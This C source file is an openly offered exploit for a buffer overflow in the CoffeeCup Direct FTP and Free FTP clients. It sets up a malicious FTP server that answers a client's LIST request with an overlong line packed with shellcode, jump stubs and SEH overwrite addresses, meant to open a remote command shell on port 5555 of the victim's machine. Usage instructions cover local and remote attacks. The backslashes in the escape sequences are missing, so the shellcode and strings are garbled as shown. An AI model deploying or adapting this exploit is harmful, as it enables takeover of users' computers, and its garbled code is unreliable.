/*************************************************************************************

	CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
	created by Komrade
	e-mail:	unsecure(at)altervista(dot)org
	web:	http://unsecure.altervista.org

	Tested on:
    	CoffeeCup Direct FTP 6.2.0.62
        CoffeeCup Free FTP 3.0.0.10

        on a Windows XP Professional sp2 operating system.

	This exploit creates a fake FTP server on your machine, waiting for the
	connection of an FTP client.
	After the exploit is sent a shell (command prompt) is spawn on port 5555
	of the target machine.
	This exploit works locally or remotely.

	Usage: coffecupbof [direct | free] [-l] [-r server IP]

	Options:
	 direct | free	"direct" to exploit a CoffeeCup Direct FTP client
	 		"free" to exploit a CoffeeCup Free FTP client
	 -l		executed locally
	 -r serverIP	executed remotely. You need to specify the address
	 		of the FTP server for the PASV command (Insert your IP address)

	Examples:

	C:> coffeecupbof direct -l		exploit for CoffeeCup Direct FTP executed locally
	C:> coffeecupbof free -r 10.0.0.1      exploit for CoffeeCup Free FTP executed remotely

*****************************************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define FTP_PORT 21
#define PASV_PORT 1106

int version, wait = TRUE;

DWORD WINAPI fileList(LPVOID data);

int main(int argc,char **argv){

	SOCKET sock, client;
	struct sockaddr_in sock_addr,client_addr;
	WSADATA data;
	WORD p;
	char mess[4096], received[512], addr[32];
	int lun, n, i, err;
	HANDLE fileListH;
	DWORD fileListId, exitCode;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &data);

	printf("------------------------------------------------------------------------------rn");
	printf("tCoffeeCup FTP Clients Buffer Overflow Vulnerability Exploitrn");
	printf("tttcreated by Komradernrn");

	printf("tte-mail: unsecure(at)altervista(dot)orgrn");
	printf("ttweb: http://unsecure.altervista.orgrn");
	printf("------------------------------------------------------------------------------rnrn");

	if (((argc != 2) || (strcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)) && ((argc != 3) ||
 (strcmp(argv[2], "-l") != 0)) && ((argc != 4) || (strcmp(argv[2], "-r") != 0))){
		printf("Usage: coffecupbof [direct | free] [-l] [-r server IP]rnrn");
		printf("Options:rn");
		printf(" direct | freet"direct" to exploit a CoffeeCup Direct FTP clientrn");
		printf(" tt"free" to exploit a CoffeeCup Free FTP clientrn");
	 	printf(" -lttworks locally.rn");
		printf(" -r server IPtworks remotely. You need to specify the address of thern");
		printf("ttFTP server for the PASV command (Insert your IP address)rnrn");
		printf("Examples:rn");
		printf(" coffeecupbof direct -lttexploit for CoffeeCup Direct FTPrnttttexecuted locallyrn");
		printf(" coffeecupbof free -r 10.0.0.1texploit for CoffeeCup Free FTPr
                                 nttttexecuted remotelyrn");
		return 0;
	}

	if(strcmp(argv[1], "direct") == 0)
		version = 1;
	else
		version = 2;

	if(strcmp(argv[2], "-r") == 0){
		char *token[4];

		token[0]=strtok(argv[3], ".");
		for(i = 1; i < 4; i++){
			token[i]=strtok(NULL, ".");
		}

		strcpy(addr, "");

		for(i=0; (i < 4) && (token[i]!= NULL); i++){
			strlcat(addr, token[i], 16);
			strcat(addr, ",");
		}
	}
	else
		strcpy(addr, "127,0,0,1,");

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(FTP_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;

        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	if (err < 0){
		printf("Error in bind(). Port may be in usern");
		return -1;
	}
	err = listen(sock,1);
	if (err < 0){
		printf("Error in listen()rn");
		return -1;
	}

	lun = sizeof (struct sockaddr);

	printf("Opening the FTP port and waiting for connections...rn");
	client = accept(sock, (struct sockaddr*)&client_addr, &lun);
	printf("Client connected from IP: %srnrn", inet_ntoa(client_addr.sin_addr));

	strcpy(mess, "220 CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploitrn");
	n=send(client, mess, strlen(mess), 0);
	if (n < 0){
		printf("Error in send()rn");
		return -1;
	}

	while(wait == TRUE){

		Sleep(800);
		n = recv(client, received, sizeof(mess), 0);
		if (n < 0){
			printf("Error in recv()rn");
			return -1;
		}

		received[n]=0;
		printf("CLIENT: %s", received);

		if (stricmp("USER", strtok(received, " ")) == 0)
			strcpy(mess, "331 Anonymous access allowed, send password.rn");
		else if (stricmp("PASS", strtok(received, " ")) == 0)
			strcpy(mess, "230 Anonymous user logged in.rn");
		else if (stricmp("PWDrn", received) == 0)
			strcpy(mess, "257 "/" is current directory.rn");
		else if (stricmp("CWD", strtok(received, " ")) == 0)
			strcpy(mess, "257 "/" is current directory.rn");
		else if (stricmp("TYPE", strtok(received, " ")) == 0)
			strcpy(mess, "200 Type set to A.rn");
		else if (stricmp("PASVrn", received) == 0){
			fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
			if (fileListH == NULL)
				printf("Error in CreateThread() %d", GetLastError());
			wsprintf(mess, "227 Entering Passive Mode (%s4,82).rn", addr);
		}
		else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LISTrn", received) == 0){
			strcpy(mess, "125 Data connection already open; Transfer starting.rn");
			printf("SERVER: %srn", mess);
			n=send(client, mess, strlen(mess), 0);
			if (n < 0){
				printf("Error in send()rn");
				return -1;
			}
			wait = FALSE;

			do{
				GetExitCodeThread(fileListH, &exitCode);
				Sleep(100);
			}
			while(exitCode == STILL_ACTIVE);
			printf("< Long file name sent to client >rnrn");

			strcpy(mess, "226 Transfer complete.rn");
		}
		else
			strcpy(mess, "550 Unimplementedrn");

		printf("SERVER: %srn", mess);
		n = send(client, mess, strlen(mess), 0);
		if (n < 0){
				printf("Error in send()rn");
				return -1;
		}
	}

	printf("Wait.......");
	Sleep(2000);
	printf("Exploit succesfully sent!rn");
	printf("Connect to %s port 5555 for the shellrn", inet_ntoa(client_addr.sin_addr));

	closesocket (client);
	closesocket(sock);

	WSACleanup();
	return 0;
}

DWORD WINAPI fileList(LPVOID data){

	char shellcode[] =
	"xEBx10x5Ax4Ax33xC9x66xB9x66x01x80x34x0Ax99xE2xFAxEB"
	"x05xE8xEBxFFxFFxFFx70x99x98x99x99xC3xFDx12xD8xA9x12"
	"xD9x95x12xE9x85x34x12xD9x91x12x41x12xEAxA5x9Ax6Ax12"
	"xEFxE1x9Ax6Ax12xE7xB9x9Ax62x12xD7x8DxAAx74xCFxCExC8"
	"x12xA6x9Ax62x12x6BxF3x97xC0x6Ax3FxEDx91xC0xC6x1Ax5E"
	"x9DxDCx7Bx70xC0xC6xC7x12x54x12xDFxBDx9Ax5Ax48x78x9A"
	"x58xAAx50xFFx12x91x12xDFx85x9Ax5Ax58x78x9Bx9Ax58x12"
	"x99x9Ax5Ax12x63x12x6Ex1Ax5Fx97x12x49xF3x9AxC0x71xE5"
	"x99x99x99x1Ax5Fx94xCBxCFx66xCEx65xC3x12x41xF3x9DxC0"
	"x71xF0x99x99x99xC9xC9xC9xC9xF3x98xF3x9Bx66xCEx69x12"
	"x41x5Ex9Ex9Bx99x8Cx2AxAAx59x10xDEx9DxF3x89xCExCAx66"
	"xCEx6DxF3x98xCAx66xCEx61xC9xC9xCAx66xCEx65x1Ax75xDD"
	"x12x6DxAAx42xF3x89xC0x10x85x17x7Bx62x10xDFxA1x10xDF"
	"xA5x10xDFxD9x5ExDFxB5x98x98x99x99x14xDEx89xC9xCFxCA"
	"xCAxCAxF3x98xCAxCAx5ExDExA5xFAxF4xFDx99x14xDExA5xC9"
	"xCAx66xCEx7DxC9x66xCEx71xAAx59x35x1Cx59xECx60xC8xCB"
	"xCFxCAx66x4BxC3xC0x32x7Bx77xAAx59x5Ax71x62x67x66x66"
	"xDExFCxEDxC9xEBxF6xFAxD8xFDxFDxEBxFCxEAxEAx99xDAxEB"
	"xFCxF8xEDxFCxC9xEBxF6xFAxFCxEAxEAxD8x99xDCxE1xF0xED"
	"xC9xEBxF6xFAxFCxEAxEAx99xD5xF6xF8xFDxD5xF0xFBxEBxF8"
	"xEBxE0xD8x99xEExEAxABxC6xAAxABx99xCExCAxD8xCAxF6xFA"
	"xF2xFCxEDxD8x99xFBxF0xF7xFDx99xF5xF0xEAxEDxFCxF7x99"
	"xF8xFAxFAxFCxE9xEDx99";

	char shelljump1[] =	"x90xEBxBAx90";

	char shelljump2[] =
	"x58xB9x21xFCxFFxFFxF7xD1x2BxC1xFFxE0xE8xEFxFFxFFxFF";

	char SEHAddr1[] = "x50x39x06x6D";
	char SEHAddr2[] = "x0DxA8x03x6D";


	SOCKET sock, client, list;
	struct sockaddr_in sock_addr,client_addr;

	WSADATA wData;
	WORD p;
	char mess[4096];
	int lun, n, i, err;

	p = MAKEWORD(2, 0);
	WSAStartup(p, &wData);

	sock=socket(PF_INET,SOCK_STREAM,0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(PASV_PORT);
	sock_addr.sin_addr.s_addr=INADDR_ANY;
        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
	if (err < 0){
		printf("Error in bind(). Port may be in usern");
		return -1;
	}
	err = listen(sock,1);
	if (err < 0){
		printf("Error in listen().rn");
		return -1;
	}

	lun = sizeof (struct sockaddr);

	client = accept(sock, (struct sockaddr*)&client_addr, &lun);

	while (wait == TRUE)
		Sleep(100);

	strcpy(mess, "03-04-81 12:00PM 3 ");

	for(i=strlen(mess); i<100; i++)
		mess[i]=0x90;
	mess[i]='';

	strcat(mess, shellcode);

	for(i=strlen(mess); i<1000; i++)
		mess[i]=0x90;
	mess[i]='';

	strcat(mess, shelljump2);

	for(i=strlen(mess); i<1079; i++)
		mess[i]=0x90;
	mess[i]='';

	strcat(mess, shelljump1);
	if (version == 1)
		strcat(mess, SEHAddr1);
	else
		strcat(mess, SEHAddr2);

	for(i=strlen(mess); i<1300; i++) // cause the exception
		mess[i]='b';
	mess[i]='';

	strcat(mess, "rn");

	n = send(client, mess, strlen(mess), 0);
	if (n < 0){
		printf("Error in send()rn");
		return -1;
	}

	closesocket(sock);
	closesocket(client);
	WSACleanup();

	return 0;
}

// www.Syue.com [2004-11-22]